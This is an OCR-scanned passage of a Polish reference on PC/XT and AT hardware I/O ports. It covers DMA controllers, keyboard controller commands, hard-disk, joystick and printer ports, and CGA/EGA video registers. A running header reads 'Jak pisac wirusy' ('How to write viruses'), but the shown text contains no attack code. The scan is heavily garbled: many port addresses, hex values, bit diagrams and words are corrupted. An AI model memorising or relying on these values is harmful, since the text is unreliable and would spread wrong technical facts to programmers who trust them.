4:0=WWiqczone sprawdzanie parzysioscl pamigcl RAM.

5:0=Wiaczone sprawdzanie kanalow wejdcia/wyjicia.

g:0=Dulne ustawienie zegara klawiatery

Ti1=Klawiatura zatlokowana.

i | PCXT: OB

Opls: Pel gort C.
g ! Znaczenie poszazegdinych bitéw jest nastgpujace:
7 65 43 2 10
BEEEDEET
\ L_J_L_l_ 0-3:Ustawienie przetacznikdw z tylu komputera.
s:1=Kanal wyidclowy dlia ficznika 2.
I 6:1=Sprawdzanie kanatdw wajScia‘wyidcia.
. ; 7:1=Wyslapit blad parzystosci RAM.

PCIXT. 063

Opis: Rejestr komend PP
3% Ustawia, ktdre porty PPl 53 wejsciowe, & kidre wyisciowe. BIOS ustawia wartos¢ tega portu na 93H (Porty AiC wejsciowe,
A Bwyidciowy).

I e— s— e —

: 1 AT> 06006

Opis: Kontroler klawiatury 8042
Patrz: Klawiatura AT

—— —
—

<AT»:  (070-07

Opis: Zegar czasu rzeczywistego,CMOS

Patrz: CMOS (rozdziat 2}

<AT> 080

Opis: Port uzywany przez POST do sprawdzania sprzgtu.
AT 080-09f T PCXT  080-083

Cpis: DMA rejestr stron 7415612

Patrz: Porty DMA
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PCIXT: fad

Opis: port NI (Non-maskable Intermupt-Przerwanie nie maskowalne).

Przenvanie NM! jest wywotywane w przypadku wystapienia bledu parzystosci pamigci RAM. Ustawienie bitu 7 blokuje NMI,
Wyzerowanie tego bitu zezwala na NML

<AT>  Cal-0bf

Opis: Kontroler Przerwan #2, 82594
<AT>!  Qc0-0df

Opis: DMA kontroler #2, 8237A-5
Patrz: Porty DA

<AT>: 00

Opis: Port koprocesora 80287

Po wystapieniu bledu procesora zatrzaskiwany jest sygnat 'BUSY’ tego procesora. OUT 0f0H,0 likwiduje to zamknigcie.

<AT>  Of

Opis; Reset koprocasora 80287 .

Procesor zmienia tryb pracy z wirtualnego na rzeczywisty OUT 0fTH,0 przywraca koprocesor 80287 do trybu rzeczywi-
stego.

<AT>  02-017

Opis: Porly koprocesora matematycznego.
<AT»  0f8-Ofc o

Opis: Dane procesora 80287.

<AT> 170177

Opis: Drugi dysk twardy.
Patrz: Porty dysku twardego
<AT>.  1B-117 -
Opis: Dysk twardy
Patrz: Pory dyski twardego
AT>. 200207 POXT. 200201 o
Opis. Game 1O (porty joyslicka A/D )
Pairz: Porty joysticka
PC/XT: 210
Opis: Port kontrolny rozszerzeri.,
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PC/XT: 213
Onis: Zezwolenie na rozszerzenia.
- PCIXT. 214
Opls: Rejusly szyny danych rozsézerzen. |
. PCIXT: 215 ] B
Opis: Rejestr adresu rozszerzer (Gdmny bajt).
— PCIXT: 216
Opis: Rejestr adresu rozszerzer (Delny bajt}.
<AT».  278-27% ] PC/XT: 278271
Opis: Ztacze réwnolegte drukarki #2
Patrz: Paorty drukarki
<ATs: 260-2df PCIXT: 2c0-2df
Opis: EGA #2
Patrz: Porty EGA
<AT> ;fB-Zﬂ PCIXT. 2f8-24f — }
Opis: Ziacze asynchroniczne #2 (COM2}
Patrz: Porly szeregows
<AT>  300-31f
Opis: Karta prototypu
PC/XT: 320-32f
Qpis: Dysk twardy
Patrz: Porty dysku twardego
<AT>; 370377
Opis: Kontroler drugiego napedu dyskietek
Patrz: Porty FDC
<AT>  378-37 PCIXT: 378-37f
Opis: Ziacze rownolegte drukarki #1
Patrz: Porty drukarki
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<AT»:  380-38f PC/XT:3  80-38f
Opis: SDLC {Synchronous Data Link Control - port synchroniczy przesylania danych).
<AT>;  3a0-3af PC/XT: Jal0-3a9
Cpis: Port asynchroniczny #1
AT 300-3df | PCAXT:  300-adf
Opis: Zigeze drukarki karty MDA
Patrz: Porty drukarki
<AT> 2603t POXT  300-3cf
Opis: VGA
Patrz: Porty VGA
<AT>:  3c0-3cf PC/XT: 3c0-3cf
Opis: EGA #1
Patrz: Porty EGA

© <AT>t 3403 PCXT:  3d0-3cf
Chpis: CGA
Patrz: Porty CGA

AT 30 PCIXT. 31037
Opis: Kontroler napgdu stacji dyskdw
Patrz: Porty FOC

AT B3 PCXT: 383t ]
Opis: Zigeze asynchroniczne #1 (RS 232 - COM1}
Patrz: Porty szeregowe

Porty DMA

DMA (Diract Memory Acces ~ Bezpasreuni dostep do pamisci} jest uzywane do seybkiayo preesytania blokdw pamieci do
trzadzen wejSciawyjscia bez udzialu procesora. Zwykle wykorzystuig Je napedy dyskietek i dysku twardego. XT zawiera 4
B-bitowe kanaty DMA, dziatajace w 20-bitowej przestrzeni adresowsj, uzywajac kontrolera Intel 8237A. W kemputerach klasy
AT doigczany jest do niego kaskadowo drugi kentroler 82374, co pozwala na obstuge 7 kanaiéw DMA.

B kapal Uiycie w PC XT

H o Odswiezanie pamigcl (najwyzszy priorylet).
S Nie uzywany,

H 2 Naped dyskictck.

B 3 Dysk twardy {najnizszy priorytet).
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M Port Opis
M UUUhDO7h  Hejestry adreséw bazowych DMA. B lo 4 pary 16-bitowych rejestréw zawisrajacych offset
{w stosunku do strony DMA Eladreséw barowych do operacji DMA. Uzupetnienie tych adre-
sow znajduje sig w re[estrach siron DMA {porty 80h-8fh).
M 000h Zapis: Adres bazowy 0 kanalu DMA
Cdcezyt: Biezacy adres 0 kanaiu DMA
b 4 W ooih Zapis: Adres bazowy 0 kanalu DMA
| Qdczyt; Biezgey adres i licznik stéw 0 kanatu DMA
3 W 002h Zapis: Adres bazowy 1 kanatu DMA
g Odczyt: Biezacy adres 1 kanaiu DMA
2 | Bl 003h Zapis: Adres bazowy 1 kanal: DMA
ke czyt: Biezacy adres i licznik stéw 1 kanafu DMA
B 004h Zapis: Adres bazowy 2 kanalu DMA {Naped stacji dyskow)
QOdczyt:  Biezacy adres 2 kanalu DMA
Bl o005h Zapis: Adres bazowy 2 kanah DMA
Odczyt: Biezacy adres i licznik stéw 2 kanaly DMA
B 006h Zapis: Adres bazowy 3 kanaku DMA(Dysk twardy)
Odezyt: Biezacy adres 3 kanatu DMA
W oo7h Zapis: Adres bazowy 3 kanal DMA
czyt:  Biezqcy adres i licznik siow 3 kanaiu DMA
B 008h-00th  Rejestry kontrolne DMA.
Bl 0osh Zapis: Rejestr poleceri DMA.

3 Inaczenie poszczegdlnych bitéw jest nastepujace:
7 6 5 4 3 2 1 0

Ll

I_. (r1=Zezwala na DMA typu pamigd-pamistkanal1 <=»kanai}}
L. 1:1=Wlacza zatzymania adresu kanah)
2:1=Wytacza kontroler
3:1=Wybiera Iryb skompresowanego czasowo przesylania
4:1=\Whacza rotacie priorytelow
B:1=\Wybiera rozszerzony tryb zapisu;
6:1=Wysoka czulodé DRQ ; O=niska czulcsé DRG
7:1=WWysoka c2ulo$é DACK ; O=niska czutosd DACK

B Odezyt: Rejestr stanu DMA:
7 6 5 4 3 2 1 9

[T T T T 1]
L.“.].__]_L 0-3:Kanaty 0-3 osiggnely limit sow.

4-F:Onzekiwania zadan kanatow 0-3

B 00%h Zapis: rejestr 2adar
7 68 5 4 3 2 1 0

nieuzyw

I__l_ 0-1:Wybiarz kanat {00=0; 01=1; 10=2; 11=3)
2:1=Ustaw kit zadania dia kanatu
0=Zerj bil 23dania dla kenatu

B 00ah Zapis: Rejestr pojedyncze] maski dla kanatu.
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7 6 5 4 3 2 1 ©
nieuZyw
I__I_ f-1:wybierz kanat (00=0; 01=1; 10=27 113)-
2:1=ustaw maske dla kanaty
Q=grysé maska {odbioku] kanal)
M oobh Zapis: Rejestr trybu,
7 &8 5 4 3 2 1 0
|_L O-1: Wybierz kanat {00=0; 01=1; 10=2; 11=3
2-3 Typprzesylania (d0=werylikacia, 1 =Zapis; 10=0cdcryl)
4:3=Uruchamia autg-inicjacje.
5:1=Inkrementacja 0=dekremeniacia adrestw
&-7.00=tryb zgdania; 01=pojedynczy; 10=blok; 11=kaskada
M 00ch Zapis: Likwiduje 16-bitowe przesylanie danych. Po jakimkolwiek zapisie do tego portu dane
przesylane heda w kotejnosci miodszy bajt | starszy bajt, mlodszy bajt itd.
M 00dh Zapis: Ogdine zerowanie. Kazda instrukeja Qut 0d,x powoduje wyczyszczenie rejestrow
kontrolnych DMA. Muszg byc one potem zainicjalizowans na nowo.
QOdezyt: Rejestr tymczasowy, w ktarym przechowywany [est ostatni bajt z ostatniego prze-
sytania typu Pamigc — Pamige.
B 00eh Zapis: Czysel rejestr masek. Kazda instrukeja Qut Oeh x powoduje udostepnienie wszysl-
kich gzterech kanatdw DMA.
M oofh Zapis; Rejestr zmiany masek. Czysci lub ustawia maskg dia kanaku DMA.
7 6 58 4 3 2 1 D"J
L 1 1=maskuj kanal §; 0=cdblokuy| kanat 0
L. 1 1=maskuj kanal 1,
2: 1=maskuj kanal £;
3 1=maskuyj kanal 3,
B Odczyt: Rejestr iymezasowy, w ktdrym przechowywany jest ostatni bajt z ostatniego przesytania ty-

pu Pamied — Pamieg,

W 081h-06th Rejestry stron DMA. Kompletny 20 bitowy adres dia kanatu otrzymuje sie jako polgczenie

W 0s8th
W 082h
B 083h
DMA w komp

rejesiry strony lego kanatu (4-bily) 2 rejestrem adresow bazowych (16-bitowy - patrz porty
00k — 07h),

Rejestr stron kanatu 2 {(DMA napedu stacji dyskow)
Rejestr stron kanatu 3 {(DMA dysku twardego)
Rejestr stron kanalu 1

uterach AT

DMA w omputerach klasy AT zachowuie kompatyhiinos¢ z DMA PC XT. Dzigki zastosowaniu drugiego kontrolera 8237A
53 jeszcze 4 dodatkowe 16-bitowe kanaly.Pod spodem wypisane s dodatkowe funkgje dla DMA AT,

Kanat | Wykorzystanie w AT
0 zapasowy
1 SDLC {Synlf:hroncn'us Data Link Control) 8-bitowe kanaly DMA
2 naped stacji dyskow
3 gysk twardy
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. Kanat | Wykorzystanie w AT
4 kaskadows polaczenie kontrolera 2 7 1
5 | zapaso
Zepasony o {g.itowe kanialy DMA
3 6 2apasowy
k' 7 | zapasowy

081h-08th

08th
082h
083h
087h
088h
08bh
O8ah
08th
Octh-0dfh

0cOh

0c2h
Gcdh

Gcbh
0¢c8h

Ocah
Gceh

Oceh
0dGh-Qdth
0doh
0d2h
0ddh
0dé6h
0d8h
Odah
Odch
{deh

Jak pisac wirusy

is klawiatury AT

Dodatkowe informacie o portach DMA w AT:

Rejestry stron DMA. W komputerach AT uzywa sig wszystkich B bildw rejestrow stron.
W zwigzku z tym przestrzen adresowa AT DMA jest 24 bitowa (16 MB),

Rejestr stron kanatu 2 DMA dyskistek)
Rejestr stron kanatu 3 {DMA dysku twardeqo)
Rejestr stron kanatu 1

Rejestr stron kanatu 0

Rejestr stron kanatu 8 (bity 17-23)

Rejestr stron kanalu 5 bity 17-23)

Rejestr stron kanatu 7 bity 17-23)
Odswiezanie.

Rejestry adresdw bazowyeh AT DMA.

Kanaly 0-3 pracuja tak jak w XT w trybie 8-bitowego wejsciafwy|dcia. Kanaly 4-7 pracujg wirybie 16-bitowym tzn. wszystkie
- aresy | liezniki przestanych danyeh odnoszg sig do skdw nie do bajtéw. Tak wige jesli w rejestrze bazowym kanatu Znajduje
quatosc 4321h to znaczy, e chodzi o offset 8642h w stosunku do aklualngj strony tego kanatu.

Za i5 : adres bazowy kanatu 4 {16-hitowy}
Odezyt: biezgcy adres kanatu 4

Biexaoy licznik stdw kanatu 4

Zapis : adres bazowy kanatu 5 (16-bitowy)
Odczyt: biezgcy adres kanatu &

Biezacy licznik stow kanatu 5

Zapis : adres bazowy kanatu 6 {16-bitowy)
{dczyt: biezacy adres kanatu 6

Biezgey lteznik stéw kanatu 6

Zapis : adres bazowy kanatu 5 {16-bitowy)
Odczyt: biezgcy adres kanatu 5

Biezgcy licznik stdw kanatu 5

Rejestry kantrolne DMA

Zapis; Rejestr polecers DMA. Odezyl: Rejestr stany DMA. Patrz opis portu 08h.
Zapis: Rejestr 2gdan. Patrz opis portu O%h.

Rejestr pojedynczej maski dia kanau. Patrz opfs poriu DAh.

Zapis: Rejestr trybu. Patrz opis portu 0Bh.

Patrz opis portu 0Ch,

Zapis: Ogdine zerowanie. Odezyt: Rejestr tymezasowy, Patrz opis portu 0Bh.
Cryszerenie rejestru masek, Patrz opig pottu OEh

Zapis: Rejesir zmiany masek kanatu. Patrz opis portu OFh

putery kiasy AT posiada) aprogramowa!nq klawiaturg wraz ze ztaczem Intel 8042, Klawiatura ta pozwala na ustawianie
i powlarzania Klawiszy, czy zmiane programows Swiatet NumLock, Capsl.ocki Scroli Lock. Port 60h jest zachowany
g kompatybilnosel ze starszymi modelami klawiatur. Jesli przykdady podane dla porty 64h nie beda dziatac dla Twojej
Swiatiry, to sprobuj wykonywad je dia portu 60h. Niekidre z rozkazdw Kawiatury wymagajg podania danych. W takim
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wypadku najlepie] przestad rozkaz, odczekad jakis czas i przesiad dane. Moze to by¢ zrealizowane na przyklad przez
nastgpujgeg sekwenajg instrukcii:

mov al, kod rozkazu
out 64H,al
mov cx, 2000h ; Ckoio l0ms
czekai: loop czekai
mov al,dane
out 64H,al
H Kod Opis
W offH Inicjziizacja klawiatury | wewnetrzne sprawdzanie poprawnosci.
H OfeH Powlidrzenie ostatnief transmisj.
B 0idH-0f7H  Nie uzywane.
B oi6H Przywrdeenie slanu poczatkowego klawiatury.
Bl ofsH Przywrécenie stanu poczatkowego klawiatury | zablokowanie kawiatury.
B of4H Odblokowanie Klawiatury,
W 0f3H Ustawia szybkosc powtarzeri i opéZnienia (Czasu przed zaczglciem powlarzania) dla kia-
wiatury. Po przestaniu tego rozkazu nalezy przestac dane wedlug ponizszego formatu.

l WT l J bity 0-4 Srybkost powtdrzen klawiszy. Patrz nizg]
bity 5-6 ustawiaja opdZnianle,

00=250ms; 01=500ms; 10=750ms; 11=1000ms
bit 7 jest zawsze réwny 0.

Szybkosé powlarzania klawiszy na sekundg jest ustawiana nastgpujaco:

0=300 QaH = 10.0
1=267 0dH = 9.2
2=240 10H=75
4=200 L 14H= 5.0
§=150 1fH = 2.0

Poczatkowo klawiatura jest ustawiona tak, iz zaczyna powlarzanie klawiszy po 1/2 sekundy i powtarza w tempie 10 na
sekundg.

B 0f2H-0efH  Nie uzywane,

B OceH Echa. Stosowane do testowania klawiatury, ktdéra w odpowiedzi na ten rozkaz powinna
przesiaé z powrotem wartos¢ Oeeh. Testowanie poprawnosci klawiatury moze sig odbywaé
wiec w nastepujgcy spossh:

nov al, Oeech

out 64, AL

mov cx,200h

czekaj: loop czekaj

in AL, 64h

cmp Al., Qeeh

jne KLAWIATRURA DG DY

B oedd Zapalanie f Gaszenie Swiatet 'LED' ozraczajgeych stan przefacznikéw. Po przestaniu tego

rozkazu nalezy jeszeze przestad dzne zgodnie z ponizszym farmatem:
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| 7 6 5 4 3 2 1 0
| | rieuzyw cInjs]|

[ 1=Scroll Lock zapalony.
L 1=Numlock zapalony.
1=CapsLock zapalony.

3
k%

4 Biy 0-3 odpowiadajq bitom 4-6 zmiennej 0:0418h. Dobrym zwyczajem jest abys zawsze dbat o o, Zeby zapalone Swiatto
§ Mpowiadato faktyeznemu stanowi klawiatury. Tak wige przestanie tego rozkazu pewinno by¢ zawsze potaczone ze zmiang
& odpowiednich bitdw zmiennaj 0:0418h | cdwrotnie.

Porty dysku twardego XT

. Ponizej Znajduie sig opis portéw kontrolera dysku twardego dla kemputerow PG XT. Po kazdej operacii na dysku {czytanie,
. 28pis, szukanie ...} kentroler generuje przerwanie sprzgtowe na poziomie 5 {IRQ 5). Przepisanie to jest przyporzadkowane
- geerwaniu Och BIOS-u. Przerwanie Odh blokuje DMA dysku twardego.
: B Port Opis
B 320H Rejestr danych.
Zapis: Zawsze przesylany jest ciag do 5 bajtéw oznaczajacych ghowice, cylinder,sekior
i balt rozkazu.
Qdczyt: Opis bigdu zaznaczonego przez bit 1 portu 321h. Po dokladny opis siggni do opi-
su technicznego swojego komputera.
B 321h Zapis: Wystanie 0 do tego portu powoduje zerowanie kontrolera dysku twardego
Odczyt:Hejestr stanu kontrolera.
7 6 5 4 3 2 1 0

mp | L Je] |
L

1: 1=Wystapi biad
5: Migjsce wystapienia (G-pierwszy dysk twardy 1-drugi}
i : B 3224 Zapis: Wyslanie jakiejkolwiek wartodci do tego portu powoduje odblokowanie kontrolera.
. ¢ Nalezy tego uzywad przed wystaniem rozkazu do kontrolera
B 323H Zapis: Rejestr masek DMA i przerwar,
7 6 5 4 3 2 1 0
nie uzywane I p ‘ d J

0: 1=2ezwala na DA
1: 1=Zezwala na przerwanie {|RQ 5) po wykonaniu rozkazu.

: oty dysku twardego AT

Kontroler dysku twardego w kemputerach AT znajduje sig na tej samej karcie, co kontroler stacji dyskietek, Jego porty
tdawyiscia | rozkazy sq inne niz w komputerach XT.

E Konlroler dysku twardego AT #1 ma preyporzadkowane porty 110h-117h

 Kontroter dysku twardego AT #2 ma przyporzadkowane porty 170h-177h

Kontroler dysku twardego wywotlja przerwanie sprzgtowe IRQ 14 po kazdej operacji na dyskv. IRQ 14 odpowiada
gmwanie 76h, kidre ustawia bit w zmiennej 0:048eh oznaczajacy, ze dysk twardy pracuje.

| 0pls portéw dysku twardego #1 w komputerze AT jest przedstawiony pod spodem. Porty drugiego dysku twardego
stwione 5 analogicznie.

W FPort Opis
- W 1o Rejestr Danych: Odczytuje/Zapistje dane do bufora dysku,
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W tH Zapls: Rejestr Prekompensacii zapisu. Wiacza prekompensacig.
Odczyt: Rejestr bledu. Zawiera znaczenis ostatniego biedu.
7 € 3 2 1 0
0 |
LE_ (¥ Biad dostepu do danych.
... 1:Blad zerowe] scigzki.
L 2:Polacenie zostaty przerwane.
.4 Nig znalezions idenlyfikatora sektora,
&: Btarl ECC.
7: Zly bick.
M 1f2H Licznik sektordw dla operacji odczytu/zapisu.
W 1f3H Logiczny numer poczatkawego sektora dia operacji odczytu/zapisu
B 1f4H Numer cylindra(bity 0-1 odpowiadaja bitom 8- w numerze cylindra).
W if5H Numer eylindra (bity 0-7 10-bitowego numeru cylindraj.
B 164 Numer napedu i giowicy dla operacjl zapisw/odezytu.
B 17H Zapis: Rejestr rozkazu

Lista rozkazéw: {Skrdt, pe pelny opis siegnij do opisu technicznega swojego komputera lub do [1]).

1%H = ustaw na cylinder ¢

7xH = szukaj cylindra 0 numerze w 1f4

2xH = Czytaj sektor

3xH = Zapisz seclor

50H = Formatuj sciezke

4xH = Werylilw]

90H = Sprawd? poprawnos¢ dysku

91H = Ustaw parametry {Liczba glowic, seklorow) dia napgdu

Qdczyt: Rejestr stanu.
3 2 1 0

|___ 0: 1=poprzedn rozkaz zakaiczy sig bledem,
L {:Znalgziony indeks.

. .—  2:Dane poprawng; znaleziono Mad, ale zostat naprawiony
3; Butor czeka na dane
4: 571kanie Zakoiczone.

5: Zapls bigany

6 Napad gotowy na odczyt, zapis SzUkanie

7: 1=Sterownik zajety, wykonLje rozkaz.

Porty Joysticka

Port 201h jest przyporzadkowany karcie GAME [ub joystickowi. Funkcia B4h przerwania 150 umezliwia tatwe uiycie tych

kart84H,

Bit przekazywany przez IN z portu 201hma nastgpujgce znaczenie.

7 6

5

4

3 2 1 0

(B2 [ B [ a2 [ At [ By | Bx [ ay [ Ax]
L

l | Koordynaty
Przyciski

Odezyt prryciskdw joysticka moze odbywaé sig w sposth nastepujacy:
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mov dx,201h
aut dx,al;Inicjalizacia, w al moze bye dowolna wartosc
: in al,dx ;Przeceytaj bity 4-7,0=nacisniety, l=zwoliniony
. Winny sposob mozna sprawdzaé wartosci koordynat.
X mov dx,201H
out dx,al ;Inicializacia
mowv cx, -1 ;zapoczatku] licznik
petla inal,dx ;O0dozytay keoordynaty
inc CX ;Zwieksz licznik
test al,l ;Jesli hit 0 ustawiony to joystick jest w dole
jnz petla ;Petla do momentu, az hit 0 bedzie wyzerowany.

L Opbinienie w rejestrze CX bedzie okredlalo na fie joystick jest przesunigty w dot, Zwrd¢ uwagg, ze sposdb ten jest doéé
b loplliwy bowiem zalezy od predkosci procesora, zaleznodei czasowych itd i dia kazdego kemputera wariascl te magq byé
E hne, Dlatogo wwislu grach udywajgeyeh joysticka na poczatiu dokonuje sie tak zwanei rekalibragii ustawiaigce} odpowiednie
E peramenry.

: Porty Drukarki

ROM-BIOS ma okreslone trzy porty réwnolegte dla drukarek okreslane jako LPT1-LPT3. Podczas POST BIOS testuje trzy
porty crukarek w kolejnosc:

1}3bcH  Port karty monochromatycznej/drukarki (O ile jest taka karta)
-9 378H  Port réwnolagte) drukarki #1
E 3278H Port réwnolegtej drukarki #2
¢ ipryporzadkowuje poriom odpowiednio nazwy LPT1 .., W zmiennych 0:0408hznajdujz sie adresy portdw im cdpowiada-

 Prerwanie 17h przewiduje obstuge do 4 rownoleglych drukarek. Aby dedaé czwarta drukarkg musisz samodzielnie
Amiescid adres jej portu w zmiennej 0:0410h.

- Mazesz fatwo oszukiwad system, zamieniajac drukarki. Przykiadowa zamiana LPT1 | LPT2 moze wygladad w sposob

WSigpUjacy:

g XOY ax,ax

1 LY s, ux
mov si,0408H ;poczatek obszaru tablic drukarek - 0:0408
mowv ax, [si} rpobiera adres LPT1
xchyg ax, [si+2] ;zamienia z adregsem LPTZ
mov feil,ax istary adres LPTZ2 zapamietuje jakeo LPT1

Pod spedem opisane sa porty rwnolegte] drukarki #1. Porty pozostatych drukarek sg analogiczne.

N Port Opis
B 378H Dane dia drukarki

Zapis: Wysyfa bajt do drukark.
Odczyl: Zawiara ostatnio wystany bajt.
B 37aH OdczytZapis: Rozkazy drukarki.
7 6 5 4 3 2 1 0
[ o]

E 00 |
- 0: +Strobe (pin 1; 1= Przesytany bajt
_ 11 +AUTO LineFeed {pin 14);1= automatyczna CR po LF
2:INIT {pin 18}; 0 =inicjuje dnukare
2 +SLCTIN(pin17); 1 =Wigczenia drukarkf

L

4: +IR0 Dozwolonet (spregtowe przerwania w praypadiu braku Qotowosei na nastepny
znak) LPT1 IRGQ 7 [Przerwania OfH) LPT2 IRQ 5 (Preeswarie GoH}

B 379H Tylko do odczytu: Stan drukarki.
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/7 B 5 4 3 2 1 0

| Jolo]o
! 4 ~-ERRCR {pin 15) O=drukarka sygnalizuje bigd
4 +8LCT fpin 13 T=drukarka wigczona
5. +PE [pin 12 1=brak papieru
&: -ACK {pin 10} O=Ciotowa na nastapny Znak
7. -BUSY (pin 11} 0=Zajela lub wylaczona, b biag

Porty CGA

Karta CGA (Color Graphics Adapter)jest oparta na sterowniku CRT 8845 firmy Molorola. CGA ma w systemie porty 3d0h
- 3dih (wykorzystuje porty 3d2h-3dch). Porty te sa zgodne (z pewnymi wyjatkami) z portami EGA w cely zachowania
poZnigjszej kampatybilnosci. BIOS pamigta wartosei niektérych portéw CGA w odpowiednich zmiennych systemowych. Jesi
cheesz zmienic jakig bil w tych porlach to powinienes: odezytad cdpowiednia zmienna, ustawié bit , wykonad QUT i zachowaé
nowy warlesé w zmienngj.

Il Port Opis
B 3dH Zapis: Kontroler wyboru rejestrow.

Jesli cheesz korzystad z jednego 7 18 rejestréw CRTC, to musisz wykonaé OUT 3ddh,numer_rejestru i odczytaé albo
zapisac warloéc z portu 3dbh.

W karcie CGA jest 18 rejestréw CGA ich numery sg nastepujace.

Oh:  Czasy synchronizacji poziomej,
th  llodé znakdw w wierszu.
2h:  Pozioma pozycja synchronizacyjna -przesuwanie obrazu w w prawo/lewo.
3h:  Szerckosé synchronizacji pionowej | poziomej (4 bity kazda).
dh:  llosé finii w pionie.
Sh:  Odswiezanie 50 lub 60Hz.
Bh:  lloéé wyswietlanych Iinii.
7h: Pionowa pozygja synchronizacyjna - przesuwanie obrazu w gérefdot.
8h: Tryb preeploty (bity 4 1 5) i skosny (bity 61 7).
9h:  lloge linil w jednym znaku.

QAR  Wyswistlanie kursora,

0Bh:  Schowanie kursora.

OCh:  Start pamigei video aktualnef strany (gdmy bajt).

0D (dolny bajt)

QEh:  Adres kursora (gémy bait).

OFh:  {dalny bajt)

10h:  Adres pidra swiellnego {gémy bajt).

Hh:  (dolny bajt)

Fierwsze 16 2 tych rejestréw jest pamigtane w tablicy parametréw ekranu (patrz przerwanie 1dh).

B 2dsH Rejestry kontrolera CRT .
Po wybraniu odpowiedniego rejestru odwotaniem do poriu 3d4h w tym porcie mozesz korzystad z jego zawartosci.

M 3dsH Zapis:Rejestr wyboru trybu (BIOS trzyma tg warto$é w zmiennej 0:0465)
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7 6 5 4 3 2 1 0

2 [ [olrf[v]elg|w

L 0 srerokodditnt lekstowy): 0=40 kolumn; 1=80 kotumn
i i L 1. 1=Tn graficzny; o=tryb lekstowy 2007300

b 8 L 2 {=Kolory na monitorze O=cbraz monochromatyczny.
; 3: 1=Whaezony sygnal video G=wylaczony sygnat video
T 4: rozdzielczost: 0=320°200 1=B40"200

“ 5: O=wylgezone migolanie 1=wytaczone migokanie | W trybie tekstowym- okredlans przez
] 7 bit alrybutu)

2 | W 3dsH Zapis: Rejestr wyboru koloru

7 B 5 4 3 2 10

T 11 nlals ]

0-3: kolory i intensywnoée (Red Graen Blug).
4 altarnatywna paleta intensywnych kolordw,
5:0=paleta & 1=palela 1.
W 3daH Odczyt: Rejestr stanu

7 6 5§ 4 3 2 1 0

[ N

i_ i 1=Wyswietlanla bez zakibced.

L 1) 1=Wlgczony przetaeznik piora swistinegeo.

< 1=Picrg dwiglle wiaczons,

3: 1=Bynchronizaca piontwa wiyczona. Modylikadga gkranu rie powodue $nie2enta,

W 3dbH Jakikolwiek OUT wytgcza pidro swieting
B 3dcH Jakikolwiek OUT wigcza pidro $wietine
iy EGA

Kata EGA (Enhanced Graphics Adapler) jest kompatybilna w gére z kartg CGA przy uzyciu BIOS-u. EGA jest o wiele
Wnziei 2lozona na poziomie sprzetowym, ale ma mozliwose emulaci wiekszoscei rejestréw i operagji CGA. Tabelka ponizej
bedzia zawderata tylko rozszerzenia w stosunku do CGA.

EGA sktada sig 7 czlerech czesci: Sterownika CRT,sekwencera,modutu grafiii i sterownika atrybutéw. Karcie tej sa
istemie przyporzadkowane nastgpujace porty:

. £6A #1 porty 3c0h do 3dfh

, EG #2 porty 2c0h do 2dfh

- EGA generuje przerwanie sprzetowe o poziomie 2(1RQ 2) podczas odtwarzania jest ono przyporzadkowane przerwaniu
D8-u 0Ah.

M Port Opis

B 3cOh Zapis: Sterownik atrybuléw{ATC)

Wkorzystanle:
wfl d'tcesz korzystad 2 te}g_;o sterownika powinienes Wykonaé nastep ﬁace operacje:
: reslic tryb adresowania.
OUT 3-::-31-1 numer _rejestru ; wyblerz rejestr ATC
QUT 3c0H,wartosc ; przeslij dane do rejestru ATC

Py wyborze rejestru bity 0~4 oznaczajg numer rejestru bit 5; 1= efekty na ekranie 0= tylko ustawienie rejestn.
0 wyborze rejestru nalezy jeszcze przestad dane do rejestru zgodnie z nastepujgeym formatem:;
Rei ATC Yol danych
00-0th Rejestry palet: wybierajg kolor dla tego atrybutu.
'Eb;us bajtu Znajduje sig ponizej. Kolory pisane z wielkiej litery oznaczajg intensywnosé 2/3, z malej 1/3.
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7 6 5 4 3 2 1 40
L | lrlglolrials]
0: Czerwony
[ 1: Zielony
2: Niebieski
3: Nlebieski (emulacia MDA-podkresienie)
4: Zielony femuiacja CGA —intensywnosc)
- 5 Czerwony
10h rejestr irybu
7 68 5 4 3 2 10
L. o 1=tryb graficzny, O=tekstowy.
1: 1=tryb monochromatyczny O=tryd kolorowy.
2:1=0 punktdw w poziomie na znak
0=9 punkt w poziomie na znaku ma koior tia
3. 1=wiacza migotanie.
1h wybierz kolor tia taki jak w rejestrze
12h Wiacza poziomy koloréw:
7 6 5 4 3 2 1 0
L [ o3 Wigczenie poziomu 0-3.
4-5: s1an:00 czerwony i niebieski.
01 niebieski | zielony.
02 czerwony | niebieski.
11 nieuzywane.
13h Przcsuwanic w lewo o n punktdw; dos¢ punktdw do przesuniecia okres!aja bity 0-3.
B 3cch Zapis: Rézne funkcje kontrolne.
7 6 5 4 3 2 1 0
L e 1=wybizrz 3BxH femulacia MDA); O=wybierz 30xH (CGA)
1: 1=wigcza AAM: D=wytacza RAM
2-3: Czastotlimodd ekrany: 00=14mHz; M1=16mHz; 10=2ewnatrzna
4: t=wybierz rewnelrzne wydwicllanle, J=wyhierz wbudowane
o: Bit slrony dla Irybu parzystyfnisparzysty
€: Polanyzatja pozioma 1=1aX O=nle
7: Polaryzacja pionowa 1=1ak O=nie
B 3cth Zapis: Rejestr adresowy sekwencera
M 3c5h Write: Rejestr danych sekwencera
Wykaonaj najpierw OUT 3c4H,numer_rejestru potemn OUT 3¢5H,dane
Bej.Sekwenc. Qpis Danych
80 Reset sekwencera, Bity 0-1 oznaczajg iryb synchroniczny, asynchroniczny
11 trvby czgstotiiwosc
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0: 1=8 punktdw na znak; (=9 punktéw na znak
1. s2erokost pasmo CRT 1=niska; O=wysaka
2: t=przesun kazdy znak; O=co drugi znak

3: czestotliwosé: 1=potowa; O=normalna

Q2 Bity 0-3 pozwalajg pisad na poziomie 0-3
2 03 Wybor mapy znaku:
5 bity 0-1 wybierajg mape B {3 bit atrybutu =0}
= bity 2-3 wybierajg mape A (3 bil atrybutu=1)
04 tryby pamieci;

7 6 5 4 3 2 1 0

|

L [ 1=tekatowy generator Znakiw Q=graficzny
L. 1 1=EGA PAM B4K, 0=64K
2: Dkredla w jaki sposdb skonsinowana jest pamige ekranu:

1=sekwencyjny;
O=parzysty/nieparzysty fak CEA)
3cah Zapis: 2 pozycja graficzna {dla EGA musi byc 0}
3cch Zapis: 1 pozycja graficzna {dla EGA musi by¢ 1)
3ceh Zapis: Rajestr adresu madutu graficznego (GDC)
3cth Zapis: Rejestr danych modutu graficznego {GDC)
Wykonaj najpierw OUT 3ceH,numer rejestru potem OUT 3etH dane
Rej.GDC Opis danych.
00 Setfreset. bity 0-3 wybierajg poziomy zapisu w trybie 00
[ Wiacza sel/reset
[174 Pordwnanie kolordw. Bity 0-3 wybierajg kolor czytania w trybie 01
